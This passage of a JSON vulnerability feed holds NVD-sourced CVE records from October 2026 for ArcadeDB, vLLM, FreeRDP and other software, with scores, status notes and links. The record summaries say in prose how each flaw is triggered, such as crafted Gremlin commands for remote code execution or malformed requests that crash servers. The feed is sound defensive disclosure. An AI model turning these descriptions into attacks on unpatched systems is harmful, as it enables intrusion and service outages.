output directory. Attackers who can reach the preview server through network access or a tunnel can send crafted requests to expose source code, configuration, or credentials readable by the server process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:29.600Z","updatedAt":"2026-10-22T17:34:37.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114063","asOf":"2026-10-22T17:34:37.867Z"},"epss":{"probability":0.00405,"percentile":0.34458,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114063&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114063","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114063","type":"primary","publishedAt":"2026-10-21T01:17:29.600Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114063&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114063, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114059","cveId":"CVE-2026-114059","aliases":[],"kind":"vulnerability","title":"ArcadeDB before 26.10.1 contains a remote code execution vulnerability that allows authenticated users, including read-only reader role holders, to execute Groovy code because...","summary":"ArcadeDB before 26.10.1 contains a remote code execution vulnerability that allows authenticated users, including read-only reader role holders, to execute Groovy code because GremlinQueryEngine.command() lacks scripting authorization checks. Attackers can submit Gremlin commands to the POST /api/v1/command/{database} endpoint when the Groovy engine is enabled to run OS commands as the server process user.","detail":"ArcadeDB before 26.10.1 contains a remote code execution vulnerability that allows authenticated users, including read-only reader role holders, to execute Groovy code because GremlinQueryEngine.command() lacks scripting authorization checks. Attackers can submit Gremlin commands to the POST /api/v1/command/{database} endpoint when the Groovy engine is enabled to run OS commands as the server process user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:28.987Z","updatedAt":"2026-10-21T01:17:29.100Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114059","asOf":"2026-10-21T01:17:29.100Z"},"epss":{"probability":0.00423,"percentile":0.36356,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114059&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114059","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114059","type":"primary","publishedAt":"2026-10-21T01:17:28.987Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114059&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114059, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114054","cveId":"CVE-2026-114054","aliases":[],"kind":"vulnerability","title":"vLLM before 0.31.0 contains a cache aliasing vulnerability that allows authenticated attackers to collide shared cache keys by supplying caller-controlled values such as EXIF...","summary":"vLLM before 0.31.0 contains a cache aliasing vulnerability that allows authenticated attackers to collide shared cache keys by supplying caller-controlled values such as EXIF ImageID or cache_salt. Attackers can set a UUID EXIF ImageID to receive another request's cached processed media, or match cache_salt to a LoRA name to reuse first-block KV state.","detail":"vLLM before 0.31.0 contains a cache aliasing vulnerability that allows authenticated attackers to collide shared cache keys by supplying caller-controlled values such as EXIF ImageID or cache_salt. Attackers can set a UUID EXIF ImageID to receive another request's cached processed media, or match cache_salt to a LoRA name to reuse first-block KV state.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:28.223Z","updatedAt":"2026-10-22T15:44:59.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114054","asOf":"2026-10-22T15:44:59.783Z"},"epss":{"probability":0.00275,"percentile":0.19656,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114054&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114054","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114054","type":"primary","publishedAt":"2026-10-21T01:17:28.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114054&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114054, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114052","cveId":"CVE-2026-114052","aliases":[],"kind":"vulnerability","title":"vLLM after 0.24.0 and before 0.31.0 contains a memory exhaustion vulnerability in MOSS-Audio model serving that caches a processor for every distinct request-controlled...","summary":"vLLM after 0.24.0 and before 0.31.0 contains a memory exhaustion vulnerability in MOSS-Audio model serving that caches a processor for every distinct request-controlled mm_processor_kwargs value in an unbounded dictionary. Unauthenticated attackers can send distinct or oversized mel_config values to the /tokenize endpoint, which bypasses --api-key, to exhaust host memory and crash the API process.","detail":"vLLM after 0.24.0 and before 0.31.0 contains a memory exhaustion vulnerability in MOSS-Audio model serving that caches a processor for every distinct request-controlled mm_processor_kwargs value in an unbounded dictionary. Unauthenticated attackers can send distinct or oversized mel_config values to the /tokenize endpoint, which bypasses --api-key, to exhaust host memory and crash the API process.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:27.943Z","updatedAt":"2026-10-22T19:17:36.780Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114052","asOf":"2026-10-22T19:17:36.780Z"},"epss":{"probability":0.00479,"percentile":0.41046,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114052&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114052","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114052","type":"primary","publishedAt":"2026-10-21T01:17:27.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114052&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114052, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114051","cveId":"CVE-2026-114051","aliases":[],"kind":"vulnerability","title":"vLLM before 0.31.0 skips the min_tokens <= max_tokens check for /inference/v1/generate requests with a null max_tokens, so the EngineCore input thread later dies on an uncaught...","summary":"vLLM before 0.31.0 skips the min_tokens <= max_tokens check for /inference/v1/generate requests with a null max_tokens, so the EngineCore input thread later dies on an uncaught VLLMValidationError while /health still returns 200. Unauthenticated remote attackers can send one request with an oversized min_tokens to hang all subsequent generation requests until manual restart.","detail":"vLLM before 0.31.0 skips the min_tokens <= max_tokens check for /inference/v1/generate requests with a null max_tokens, so the EngineCore input thread later dies on an uncaught VLLMValidationError while /health still returns 200. Unauthenticated remote attackers can send one request with an oversized min_tokens to hang all subsequent generation requests until manual restart.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:27.803Z","updatedAt":"2026-10-22T15:44:59.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114051","asOf":"2026-10-22T15:44:59.783Z"},"epss":{"probability":0.00375,"percentile":0.31153,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114051&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114051","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114051","type":"primary","publishedAt":"2026-10-21T01:17:27.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114051&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114051, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114047","cveId":"CVE-2026-114047","aliases":[],"kind":"vulnerability","title":"FreeRDP from 2.0.0 before 3.32.0 contains an improper certificate validation vulnerability in its proxy that accepts untrusted target TLS certificates when no verification module...","summary":"FreeRDP from 2.0.0 before 3.32.0 contains an improper certificate validation vulnerability in its proxy that accepts untrusted target TLS certificates when no verification module is configured. Network-positioned attackers can intercept the proxy's outbound connection and present a self-signed, wrong-hostname certificate to impersonate the RDP target and receive proxied session data.","detail":"FreeRDP from 2.0.0 before 3.32.0 contains an improper certificate validation vulnerability in its proxy that accepts untrusted target TLS certificates when no verification module is configured. Network-positioned attackers can intercept the proxy's outbound connection and present a self-signed, wrong-hostname certificate to impersonate the RDP target and receive proxied session data.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:27.230Z","updatedAt":"2026-10-22T19:17:36.657Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114047","asOf":"2026-10-22T19:17:36.657Z"},"epss":{"probability":0.00189,"percentile":0.08392,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114047&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114047","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114047","type":"primary","publishedAt":"2026-10-21T01:17:27.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114047&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114047, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114046","cveId":"CVE-2026-114046","aliases":[],"kind":"vulnerability","title":"FreeRDP 3.0.0 before 3.32.0 contains a null-pointer dereference in the smartcard emulation backend that accepts a null per-reader name in SCardGetStatusChange requests.","summary":"FreeRDP 3.0.0 before 3.32.0 contains a null-pointer dereference in the smartcard emulation backend that accepts a null per-reader name in SCardGetStatusChange requests. A malicious RDP server can send a crafted reader-state entry with a null szReader, causing strcmp or _wcscmp to crash the client process.","detail":"FreeRDP 3.0.0 before 3.32.0 contains a null-pointer dereference in the smartcard emulation backend that accepts a null per-reader name in SCardGetStatusChange requests. A malicious RDP server can send a crafted reader-state entry with a null szReader, causing strcmp or _wcscmp to crash the client process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:27.087Z","updatedAt":"2026-10-22T15:44:59.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114046","asOf":"2026-10-22T15:44:59.783Z"},"epss":{"probability":0.00254,"percentile":0.16771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114046&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114046","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114046","type":"primary","publishedAt":"2026-10-21T01:17:27.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114046&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114046, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114045","cveId":"CVE-2026-114045","aliases":[],"kind":"vulnerability","title":"FreeRDP before 3.32.1 contains a heap-based buffer overflow in the server-side rdpsnd channel because an integer wraparound in rdpsnd_server_select_format() DVI_ADPCM...","summary":"FreeRDP before 3.32.1 contains a heap-based buffer overflow in the server-side rdpsnd channel because an integer wraparound in rdpsnd_server_select_format() DVI_ADPCM block-alignment arithmetic bypasses validation. A malicious RDP client can send two SNDC_FORMATS PDUs with an nBlockAlign too small for nChannels, causing an unbounded heap write during server audio playback, potentially enabling code execution.","detail":"FreeRDP before 3.32.1 contains a heap-based buffer overflow in the server-side rdpsnd channel because an integer wraparound in rdpsnd_server_select_format() DVI_ADPCM block-alignment arithmetic bypasses validation. A malicious RDP client can send two SNDC_FORMATS PDUs with an nBlockAlign too small for nChannels, causing an unbounded heap write during server audio playback, potentially enabling code execution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:26.950Z","updatedAt":"2026-10-22T15:44:59.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114045","asOf":"2026-10-22T15:44:59.783Z"},"epss":{"probability":0.00576,"percentile":0.47197,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114045&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114045","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114045","type":"primary","publishedAt":"2026-10-21T01:17:26.950Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114045&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114045, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114043","cveId":"CVE-2026-114043","aliases":[],"kind":"vulnerability","title":"FreeRDP before 3.32.1 contains a heap-based out-of-bounds read in WinPR's clipboard PNG-to-CF_DIB synthesis because winpr_read_png_from_buffer() allocates a bit-packed buffer for...","summary":"FreeRDP before 3.32.1 contains a heap-based out-of-bounds read in WinPR's clipboard PNG-to-CF_DIB synthesis because winpr_read_png_from_buffer() allocates a bit-packed buffer for PNGs with bit depth below 8, while winpr_bitmap_write_buffer() copies rows assuming one byte per pixel. A malicious RDP server can send a crafted low-bit-depth PNG clipboard payload that, when pasted by the victim, discloses megabytes of heap memory.","detail":"FreeRDP before 3.32.1 contains a heap-based out-of-bounds read in WinPR's clipboard PNG-to-CF_DIB synthesis because winpr_read_png_from_buffer() allocates a bit-packed buffer for PNGs with bit depth below 8, while winpr_bitmap_write_buffer() copies rows assuming one byte per pixel. A malicious RDP server can send a crafted low-bit-depth PNG clipboard payload that, when pasted by the victim, discloses megabytes of heap memory.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:26.660Z","updatedAt":"2026-10-22T15:44:59.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114043","asOf":"2026-10-22T15:44:59.783Z"},"epss":{"probability":0.00278,"percentile":0.20063,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114043&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114043","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114043","type":"primary","publishedAt":"2026-10-21T01:17:26.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114043&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114043, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114042","cveId":"CVE-2026-114042","aliases":[],"kind":"vulnerability","title":"FreeRDP 3.32.0 contains a use-after-free vulnerability in the drdynvc channel that frees a pool-owned stream with the owned-stream deallocator when totalLength is smaller than the...","summary":"FreeRDP 3.32.0 contains a use-after-free vulnerability in the drdynvc channel that frees a pool-owned stream with the owned-stream deallocator when totalLength is smaller than the chunk size. A malicious RDP server can send a single well-formed Virtual Channel PDU to trigger the free and crash the client during teardown.","detail":"FreeRDP 3.32.0 contains a use-after-free vulnerability in the drdynvc channel that frees a pool-owned stream with the owned-stream deallocator when totalLength is smaller than the chunk size. A malicious RDP server can send a single well-formed Virtual Channel PDU to trigger the free and crash the client during teardown.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:26.513Z","updatedAt":"2026-10-22T19:17:36.527Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114042","asOf":"2026-10-22T19:17:36.527Z"},"epss":{"probability":0.00353,"percentile":0.28747,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114042&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114042","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114042","type":"primary","publishedAt":"2026-10-21T01:17:26.513Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114042&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114042, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113738","cveId":"CVE-2026-113738","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in R6410418 Jackrong-llm-finetuning-guide up to ef2b17f2798cd18cd85375080c35a58397ad0d09. This vulnerability affects the function extract_mtp_heads...","summary":"A vulnerability has been found in R6410418 Jackrong-llm-finetuning-guide up to ef2b17f2798cd18cd85375080c35a58397ad0d09. This vulnerability affects the function extract_mtp_heads of the file 